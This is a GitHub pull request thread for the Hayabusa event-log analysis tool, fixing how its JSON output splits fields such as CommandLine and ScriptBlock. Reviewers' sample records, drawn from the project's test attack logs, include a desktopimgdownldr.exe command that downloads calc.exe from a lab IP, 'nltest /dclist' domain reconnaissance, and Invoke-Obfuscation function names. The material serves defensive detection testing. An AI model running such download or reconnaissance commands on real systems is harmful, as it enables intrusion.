Fixed json fields get moved over #1146

hitenkoku · 2023-07-29T04:51:21Z

What Changed

Fixed a problem with incorrect field splitting in the CommandLine field in JSON output.

I would appreciate it if you could review when you have time.

…meline #1145

…t:" #1145

codecov · 2023-07-29T04:53:24Z

Codecov Report

Patch coverage: 64.28% and project coverage change: +0.01% 🎉

Comparison is base (f294361) 83.82% compared to head (e54b76d) 83.83%.

❗ Current head e54b76d differs from pull request most recent head 39ec59a. Consider uploading reports for the commit 39ec59a to get more accurate results

Additional details and impacted files

@@            Coverage Diff             @@
##             main    #1146      +/-   ##
==========================================
+ Coverage   83.82%   83.83%   +0.01%     
==========================================
  Files          26       26              
  Lines       23388    23398      +10     
==========================================
+ Hits        19604    19615      +11     
+ Misses       3784     3783       -1

Files Changed	Coverage Δ
src/afterfact.rs	`74.39% <64.28%> (-0.07%)`	⬇️

... and 6 files with indirect coverage changes

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

fukusuket

@hitenkoku
It seems that a parse error occurs with the jq command when executed in the following procedure🤔 Could you please confirm?🙇

./hayabusa-new json-timeline -d ../hayabusa-sample-evtx -o out.json
cat out.json | jq
...
parse error: Expected another key-value pair at line 52522, column 5

hitenkoku · 2023-07-30T13:50:35Z

@fukusuket Thanks you for pointing this out.
Fixed jq execution so that it does not generate an error in 9035e75 .

Sorry to keep asking you to check. Would you check it?

YamatoSecurity · 2023-07-31T08:16:50Z

@hitenkoku Thank you for the update!
ScriptBlockText gets put inside ScriptBlockId now. Could you check this?

{
  "Timestamp": "2021-10-25 03:23:13.801 -04:00",
  "Computer": "FS03.offsec.lan",
  "Channel": "PwSh",
  "EventID": 4104,
  "Level": "info",
  "RecordID": 2960,
  "RuleTitle": "PwSh Scriptblock",
  "Details": {
    "ScriptBlock": "param($x)\\r\\nif ($x.ToUpperInvariant().Equals(\"NOTCONFIGURED\")) { $this.PSBase.CimInstanceProperties[\"MaxSAIdleTimeSeconds\"].Value = 0; } else { $this.PSBase.CimInstanceProperties[\"MaxSAIdleTimeSeconds\"].Value = [uint32]$x; }"
  },
  "ExtraFieldInfo": {
    "MessageNumber": 1,
    "MessageTotal": 1,
    "ScriptBlockId": "1c6dc9f4-ca6d-4c09-917b-8896b9cd7bb0 | ScriptBlockText: 0; | param($x)if ($x.ToUpperInvariant().Equals(\"NOTCONFIGURED\")) { $this.PSBase.CimInstanceProperties[\"MaxSAIdleTimeSeconds\"].Value = } else { $this.PSBase.CimInstanceProperties[\"MaxSAIdleTimeSeconds\"].Value = [uint32]$x; }"
  }
}

I am using this command to test: ./hayabusa-json-fix json-timeline -d ../hayabusa-sample-evtx -o fix.jsonl -L -u -D

…ield value #1145

hitenkoku · 2023-08-01T13:15:12Z

@YamatoSecurity I apologize for the delay in responding to your request.

I have corrected the information you pointed out.

Would you please check it?

ScriptBlockText gets put inside ScriptBlockId now

fukusuket

@hitenkoku
Thank you so much for fix :) I confirmed that there is no jq parse error!!
I checked the results for hayabusa-sample-evtx, the results were as follows. It seems that there are still cases where the field is moved. 🤔 Could you check this?🙇

% cat results.csv | grep "2021-04-22 19:04:37.081 +09:00"
"2021-04-22 19:04:37.081 +09:00","win10-02.offsec.lan","PwSh",4104,"info",135,"PwSh Scriptblock","ScriptBlock: Write-Host 'Final result: 1';","MessageNumber: 1 ¦ MessageTotal: 1 ¦ Path: ¦ ScriptBlockId: d4032236-9130-47e8-8602-626a2b5e46e7"
% cat results.json | jq 'select ( .Timestamp == "2021-04-22 19:04:37.081 +09:00" ) '
{
  "Timestamp": "2021-04-22 19:04:37.081 +09:00",
  "Computer": "win10-02.offsec.lan",
  "Channel": "PwSh",
  "EventID": 4104,
  "Level": "info",
  "RecordID": 135,
  "RuleTitle": "PwSh Scriptblock",
  "Details": {
    "ScriptBlock": "Write-Host 'Final",
    "result": "1';"
  },
  "ExtraFieldInfo": {
    "MessageNumber": 1,
    "MessageTotal": 1,
    "Path": "",
    "ScriptBlockId": "d4032236-9130-47e8-8602-626a2b5e46e7"
  }
}

hitenkoku · 2023-08-02T01:16:31Z

@fukusuket I apologize for the delay in responding to your request.
I have corrected the information you pointed out in .3b4146f
Would you please check it?

@hitenkoku Thank you so much for fix :) I confirmed that there is no jq parse error!! I checked the results for hayabusa-sample-evtx, the results were as follows. It seems that there are still cases where the field is moved. 🤔 Could you check this?🙇

% cat results.csv | grep "2021-04-22 19:04:37.081 +09:00"
"2021-04-22 19:04:37.081 +09:00","win10-02.offsec.lan","PwSh",4104,"info",135,"PwSh Scriptblock","ScriptBlock: Write-Host 'Final result: 1';","MessageNumber: 1 ¦ MessageTotal: 1 ¦ Path: ¦ ScriptBlockId: d4032236-9130-47e8-8602-626a2b5e46e7"
% cat results.json | jq 'select ( .Timestamp == "2021-04-22 19:04:37.081 +09:00" ) '
{
  "Timestamp": "2021-04-22 19:04:37.081 +09:00",
  "Computer": "win10-02.offsec.lan",
  "Channel": "PwSh",
  "EventID": 4104,
  "Level": "info",
  "RecordID": 135,
  "RuleTitle": "PwSh Scriptblock",
  "Details": {
    "ScriptBlock": "Write-Host 'Final",
    "result": "1';"
  },
  "ExtraFieldInfo": {
    "MessageNumber": 1,
    "MessageTotal": 1,
    "Path": "",
    "ScriptBlockId": "d4032236-9130-47e8-8602-626a2b5e46e7"
  }
}

YamatoSecurity · 2023-08-02T05:03:02Z

@hitenkoku
I tested it out but it seems that the splitting in the command line is still having problems:

{
  "Timestamp": "2021-10-21 13:16:41.916 -04:00",
  "Computer": "COMPUTER.domain.local",
  "Channel": "Sec",
  "EventID": 4688,
  "Level": "low",
  "RecordID": 60041,
  "RuleTitle": "Susp CmdLine (Possible LOLBIN)",
  "Details": {
    "Cmdline": "C:\\Windows\\system32\\cmd.exe /C nltest",
    "/dclist": "C:\\Windows\\System32\\cmd.exe",
    "Proc": "0x15d0",
    "PID": "COMPUTER$",
    "User": "0x3e7"
  },
  "ExtraFieldInfo": {
    "MandatoryLabel": "SYSTEM_INTEGRITY",
    "ParentProcessName": "C:\\Windows\\System32\\svchost.exe",
    "ProcessId": "0x888",
    "SubjectDomainName": "domain",
    "SubjectUserSid": "S-1-5-18",
    "TargetDomainName": "NT AUTHORITY",
    "TargetLogonId": "0x4f5923f",
    "TargetUserName": "SYSTEM",
    "TargetUserSid": "S-1-0-0",
    "TokenElevationType": "FULL_TOKEN"
  }
}

…line #1145

hitenkoku · 2023-08-02T10:41:56Z

@YamatoSecurity Thanks for your comment. I fixed following problems in e1558c1 . Would you check it?

@hitenkoku I tested it out but it seems that the splitting in the command line is still having problems:

{
  "Timestamp": "2021-10-21 13:16:41.916 -04:00",
  "Computer": "COMPUTER.domain.local",
  "Channel": "Sec",
  "EventID": 4688,
  "Level": "low",
  "RecordID": 60041,
  "RuleTitle": "Susp CmdLine (Possible LOLBIN)",
  "Details": {
    "Cmdline": "C:\\Windows\\system32\\cmd.exe /C nltest",
    "/dclist": "C:\\Windows\\System32\\cmd.exe",
    "Proc": "0x15d0",
    "PID": "COMPUTER$",
    "User": "0x3e7"
  },
  "ExtraFieldInfo": {
    "MandatoryLabel": "SYSTEM_INTEGRITY",
    "ParentProcessName": "C:\\Windows\\System32\\svchost.exe",
    "ProcessId": "0x888",
    "SubjectDomainName": "domain",
    "SubjectUserSid": "S-1-5-18",
    "TargetDomainName": "NT AUTHORITY",
    "TargetLogonId": "0x4f5923f",
    "TargetUserName": "SYSTEM",
    "TargetUserSid": "S-1-0-0",
    "TokenElevationType": "FULL_TOKEN"
  }
}

fukusuket

@hitenkoku
Thank you so much for fix!!
I checked the keys under Details with the following command. Some fields still seem to be moved🤔 Could you check this?🙇

./hayabusa json-timeline -d ../hayabusa-sample-evtx -o results.json -C
cat results.json | jq 'select ((.Details != "-") and (.EventID == 4104))' | jq .Details | jq keys | sort | uniq
  "(@danielhbohannon)\\r\\nLicense",
  "2010",
  "Dependencies",
  "Function",
  "Invoke-Obfuscation",
  "Line",
  "Name",
  "Out-ConcatenatedString\\r\\nAuthor",
  "Out-ObfuscatedMemberTokenLevel3\\r\\nAuthor",
  "Out-ObfuscatedStringCommand\\r\\nAuthor",
  "Out-ObfuscatedTypeToken\\r\\nAuthor",
  "Out-RandomPowerShellStdInInvokeSyntax\\r\\nAuthor",
  "Out-StringDelimitedConcatenatedAndReordered\\r\\nAuthor",
  "ScriptBlock"
  "ScriptBlock",
  "Show-HelpMenu\\r\\nAuthor"
  "\"<REDACTED\"",
  "\"Error\"",
  "\"`nERROR\"",
  "\"`nWARNING\"",
  "error"
  "is"
  "log"
  "obfuscation"
  "options"
  "ordering"
  "rundll32.exe"
[
]

hitenkoku · 2023-08-02T13:08:04Z

@YamatoSecurity I have added key extraction criteria.
I tried entering the jq command you gave me in this environment, but was unable to extract it, so would you please check there as well?

cat ... .json | jq . , but I have confirmed that it is possible to run.

@hitenkoku Thank you so much for fix!! I checked the keys under Details with the following command. Some fields still seem to be moved🤔 Could you check this?🙇

./hayabusa json-timeline -d ../hayabusa-sample-evtx -o results.json -C
cat results.json | jq 'select ((.Details != "-") and (.EventID == 4104))' | jq .Details | jq keys | sort | uniq
  "(@danielhbohannon)\\r\\nLicense",
  "2010",
  "Dependencies",
  "Function",
  "Invoke-Obfuscation",
  "Line",
  "Name",
  "Out-ConcatenatedString\\r\\nAuthor",
  "Out-ObfuscatedMemberTokenLevel3\\r\\nAuthor",
  "Out-ObfuscatedStringCommand\\r\\nAuthor",
  "Out-ObfuscatedTypeToken\\r\\nAuthor",
  "Out-RandomPowerShellStdInInvokeSyntax\\r\\nAuthor",
  "Out-StringDelimitedConcatenatedAndReordered\\r\\nAuthor",
  "ScriptBlock"
  "ScriptBlock",
  "Show-HelpMenu\\r\\nAuthor"
  "\"<REDACTED\"",
  "\"Error\"",
  "\"`nERROR\"",
  "\"`nWARNING\"",
  "error"
  "is"
  "log"
  "obfuscation"
  "options"
  "ordering"
  "rundll32.exe"
[
]

fukusuket · 2023-08-02T20:31:52Z

@hitenkoku
Thank you so much for fix :) I checked b02cfac, It's a lot better!!, but there seems to be a few fields that have been moved. Is it difficult to deal with this? 🤔

 ./hayabusa json-timeline -d ../hayabusa-sample-evtx -o results.json -C
cat results.json | jq 'select ((.Details != "-") and (.EventID == 4104))' | jq .Details | jq keys | sort | uniq
  "Application",
  "Dependencies",
  "Function",
  "Invoke-Obfuscation",
  "Out-ConcatenatedString\\r\\nAuthor",
  "Out-ObfuscatedCommandTokenLevel2\\r\\nAuthor",
  "Out-ObfuscatedMemberTokenLevel3\\r\\nAuthor",
  "Out-ObfuscatedStringCommand\\r\\nAuthor",
  "Out-ObfuscatedStringTokenLevel1\\r\\nAuthor",
  "Out-ObfuscatedTypeToken\\r\\nAuthor",
  "Out-RandomPowerShellStdInInvokeSyntax\\r\\nAuthor",
  "Out-StringDelimitedConcatenatedAndReordered\\r\\nAuthor",
  "ScriptBlock"
  "ScriptBlock",
  "Show-HelpMenu\\r\\nAuthor"
[
]

fukusuket · 2023-08-02T20:45:29Z

I'm sorry for commenting so many times🙇
Conversely, there seems to be a case where the field name is no longer extracted ... 😭

EID4688, Proc/User/PID/LID fields are not extracted.

{
  "Timestamp": "2016-08-30 20:36:06.652 +09:00",
  "Computer": "IE10Win7",
  "Channel": "Sec",
  "EventID": 4688,
  "Level": "info",
  "RecordID": 8402,
  "RuleTitle": "Proc Exec",
  "Details": {
    "Cmdline": "\"C:\\Windows\\system32\\notepad.exe\" : Proc: C:\\Windows\\System32\\notepad.exe: PID: 0x1324: User: IEUser: LID: 0x4d011\""
  },
  "ExtraFieldInfo": {
    "CommandLine": "\"C:\\Windows\\system32\\notepad.exe\"",
    "ProcessId": "0xa30",
    "SubjectDomainName": "IE10WIN7",
    "SubjectUserSid": "S-1-5-21-3463664321-2923530833-3546627382-1000",
    "TokenElevationType": "LIMITED_TOKEN"
  }
}

EID1, Proc/User/LID/PID/PGUID fields are not extracted.

{
  "Timestamp": "2022-08-29 14:35:43.195 +09:00",
  "Computer": "DESKTOP-VQBONAV",
  "Channel": "Sysmon",
  "EventID": 1,
  "Level": "high",
  "RecordID": 1906,
  "RuleTitle": "Suspicious Desktopimgdownldr Command",
  "Details": {
    "Cmdline": "\"C:\\Windows\\system32\\desktopimgdownldr.exe\" /lockscreenurl:http://192.168.158.128:8000/calc.exe /eventName:desktopimgdownldr: Proc: C:\\Windows\\System32\\desktopimgdownldr.exe: User: DESKTOP-VQBONAV\\user\"",
    "ParentCmdline": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" : LID: 0x6addb: LGUID: 3E153517-4E00-630C-DBAD-060000000000: PID: 60: PGUID: 3E153517-502F-630C-DB00-000000000500\"",
    "ParentPID": 312,
    "ParentPGUID": "3E153517-4EE4-630C-BA00-000000000500",
    "Description": "desktopimgdownldr.exe",
    "Product": "Microsoft® Windows® Operating System",
    "Company": "Microsoft Corporation",
    "Hashes": "MD5=0E8109FF251EE8C467F3F3641A2AFDDB,SHA256=AAADA36880E08C0B37ED6A1F6FF605144C650D987C0F8049347E9DD5A04CDB4E,IMPHASH=F8D617766CF1026390A712DFC1AE2EDA"
  },
  "ExtraFieldInfo": {
    "CurrentDirectory": "C:\\Windows\\system32\\",
    "FileVersion": "10.0.18362.1 (WinBuild.160101.0800)",
    "IntegrityLevel": "High",
    "ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"",
    "ParentImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "RuleName": "-",
    "TerminalSessionId": 1,
    "UtcTime": "2022-08-29 05:35:43.167"
  }
}

…of details, allfieldinfo, extrafieldinfo #1145

…t value of details, allfieldinfo, extrafieldinfo #1145" This reverts commit 364b544.

… in json-timeline #1145

style: cargo fmt WIP: fix(afterfact/detection/message): fixed misprocessing of details field in JSON output #1145

Refactorer JSON output processing

YamatoSecurity

@hitenkoku I checked the refactor PR and merged it because it was working well.
It seems there are some conflicts. Could you merge this after fixing the conflicts?

hitenkoku · 2023-09-16T03:37:40Z

@YamatoSecurity I checked CI error ( https://github.com/Yamato-Security/hayabusa/actions/runs/6204910522/job/16847511183 ). This error was caused by time crate in hayabusa-evtx.
I requested by Yamato-Security/hayabusa-evtx#39 .

Could you check it?

   Compiling time v0.3.28
error[E0557]: feature has been removed
  --> /home/runner/.cargo/registry/src/index.crates.io-6f17d22bba15001f/time-0.3.28/src/lib.rs:79:39
   |
79 | #![cfg_attr(coverage_nightly, feature(no_coverage))]
   |                                       ^^^^^^^^^^^ feature has been removed
   |
   = note: renamed to `coverage_attribute`

For more information about this error, try `rustc --explain E0557`.

YamatoSecurity · 2023-09-16T09:50:15Z

@hitenkoku Thanks for fixing this. I approved the hayabusa-evtx PR so you can merge it.

hitenkoku · 2023-09-16T14:30:54Z

@YamatoSecurity Thanks for your check! But CI stopped by same reason 🤔
I pull requested in time crate.

time-rs/time#619

hitenkoku · 2023-09-21T02:56:19Z

CI's coverage has an error, but we will merge for the following reason.

It has been approved by @YamatoSecurity via chat.

The reason why it is failing is due to the influence of other libraries when obtaining coverage.
The test in CI has passed, and there is no problem in terms of functionality.

hitenkoku added 4 commits July 29, 2023 13:04

fix(afterfact): fixed wrong field name separate processing #1145

72bc568

fix(afterfact): fixed comma separate field data processing in json-ti…

77ee339

…meline #1145

fix(afterfact): fixed field wrong separate processing in "Final resul…

0df9a85

…t:" #1145

docs(CHANGELOG): added #1145

fba4422

hitenkoku added the bug Something isn't working label Jul 29, 2023

hitenkoku requested review from fukusuket and YamatoSecurity July 29, 2023 04:51

hitenkoku self-assigned this Jul 29, 2023

hitenkoku linked an issue Jul 29, 2023 that may be closed by this pull request

JSON fields get moved over (Refactor JSON output) #1145

Closed

fukusuket requested changes Jul 29, 2023

View reviewed changes

feat(afterfact): fixed jq error to output file #1145

9035e75

hitenkoku requested a review from fukusuket July 30, 2023 13:50

hitenkoku added 2 commits August 1, 2023 20:42

Merge branch 'main' into 1145-json-fields-get-moved-over

4b5a6c4

fix(afterfact): fixed ScriptBlockText gets put inside ScriptBlockId f…

a3bd812

…ield value #1145

fukusuket requested changes Aug 1, 2023

View reviewed changes

fix(afterfact): fixed wrong separate in ScriptBlockText field #1145

3b4146f

fix(afterfact): fixed wrong field separate to cmd option in json-time…

e1558c1

…line #1145

hitenkoku requested a review from fukusuket August 2, 2023 10:40

fukusuket requested changes Aug 2, 2023

View reviewed changes

fix(afterfact): fixed wrong field separate #1145

b02cfac

hitenkoku added 2 commits September 2, 2023 16:39

refactor(configs): refactoring in pivotkeywordslist

6ba9c97

refactor(afterfact): to remove unused vec processing to output value …

364b544

…of details, allfieldinfo, extrafieldinfo #1145

hitenkoku mentioned this pull request Sep 2, 2023

Refactorer JSON output processing #1173

Merged

hitenkoku and others added 14 commits September 2, 2023 18:28

Revert "refactor(afterfact): to remove unused vec processing to outpu…

29f36d0

…t value of details, allfieldinfo, extrafieldinfo #1145" This reverts commit 364b544.

fix(message): fixed error by test #1145

7b0684c

Merge branch 'main' into 1145-json-fields-get-moved-over

e54b76d

refactor(afterfact): fixed cargo clippy error

3ba54f6

Merge branch '1145-json-fields-get-moved-over' into refactorer#1145

6890b47

fix(message): fixed processing of removing special character #1145

0266489

fix(message): fixed porcessing of removing newline character #1145

4d208b0

fix(message): fixed unmatched details key #1145

0b7f228

style(message): cargo fmt

274a733

UI(message): rearranged Details and ExtraFieldInfo keys slpabetically…

b44109c

… in json-timeline #1145

fix(afterfact): added details key is none case #1145

7de9af7

style: cargo fmt WIP: fix(afterfact/detection/message): fixed misprocessing of details field in JSON output #1145

fix(afterfact/message): fixed Details field output misprocessing #1145

4a93008

style: fixed cargo clippy error

b530aed

Merge pull request #1173 from Yamato-Security/refactorer#1145

77776ce

Refactorer JSON output processing

YamatoSecurity approved these changes Sep 16, 2023

View reviewed changes

hitenkoku marked this pull request as ready for review September 16, 2023 01:54

hitenkoku added 2 commits September 16, 2023 11:01

Merge branch 'main' into 1145-json-fields-get-moved-over

9e5d24b

build(Cargo.lock): cargo update

bd8f82c

build(Cargo): updated hayabusa-evtx crate

39ec59a

hitenkoku merged commit 8c6df2b into main Sep 21, 2023
6 of 7 checks passed

hitenkoku deleted the 1145-json-fields-get-moved-over branch September 21, 2023 02:56

fukusuket mentioned this pull request Jan 12, 2024

[bug] JSON output of search command is missing AllFieldInfo field #1251

Closed

fukusuket mentioned this pull request May 23, 2024

Support for Provider_name and Data[x] notation to the field mapping #1350

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Fixed json fields get moved over #1146

Fixed json fields get moved over #1146

hitenkoku commented Jul 29, 2023

codecov bot commented Jul 29, 2023 •

edited

Loading

fukusuket left a comment

hitenkoku commented Jul 30, 2023

YamatoSecurity commented Jul 31, 2023

hitenkoku commented Aug 1, 2023

fukusuket left a comment

hitenkoku commented Aug 2, 2023

YamatoSecurity commented Aug 2, 2023

hitenkoku commented Aug 2, 2023

fukusuket left a comment •

edited

Loading

hitenkoku commented Aug 2, 2023

fukusuket commented Aug 2, 2023

fukusuket commented Aug 2, 2023

YamatoSecurity left a comment

hitenkoku commented Sep 16, 2023 •

edited

Loading

YamatoSecurity commented Sep 16, 2023

hitenkoku commented Sep 16, 2023

hitenkoku commented Sep 21, 2023

Fixed json fields get moved over #1146

Fixed json fields get moved over #1146

Conversation

hitenkoku commented Jul 29, 2023

What Changed

codecov bot commented Jul 29, 2023 • edited Loading

Codecov Report

fukusuket left a comment

Choose a reason for hiding this comment

hitenkoku commented Jul 30, 2023

YamatoSecurity commented Jul 31, 2023

hitenkoku commented Aug 1, 2023

fukusuket left a comment

Choose a reason for hiding this comment

hitenkoku commented Aug 2, 2023

YamatoSecurity commented Aug 2, 2023

hitenkoku commented Aug 2, 2023

fukusuket left a comment • edited Loading

Choose a reason for hiding this comment

hitenkoku commented Aug 2, 2023

fukusuket commented Aug 2, 2023

fukusuket commented Aug 2, 2023

YamatoSecurity left a comment

Choose a reason for hiding this comment

hitenkoku commented Sep 16, 2023 • edited Loading

YamatoSecurity commented Sep 16, 2023

hitenkoku commented Sep 16, 2023

hitenkoku commented Sep 21, 2023

codecov bot commented Jul 29, 2023 •

edited

Loading

fukusuket left a comment •

edited

Loading

hitenkoku commented Sep 16, 2023 •

edited

Loading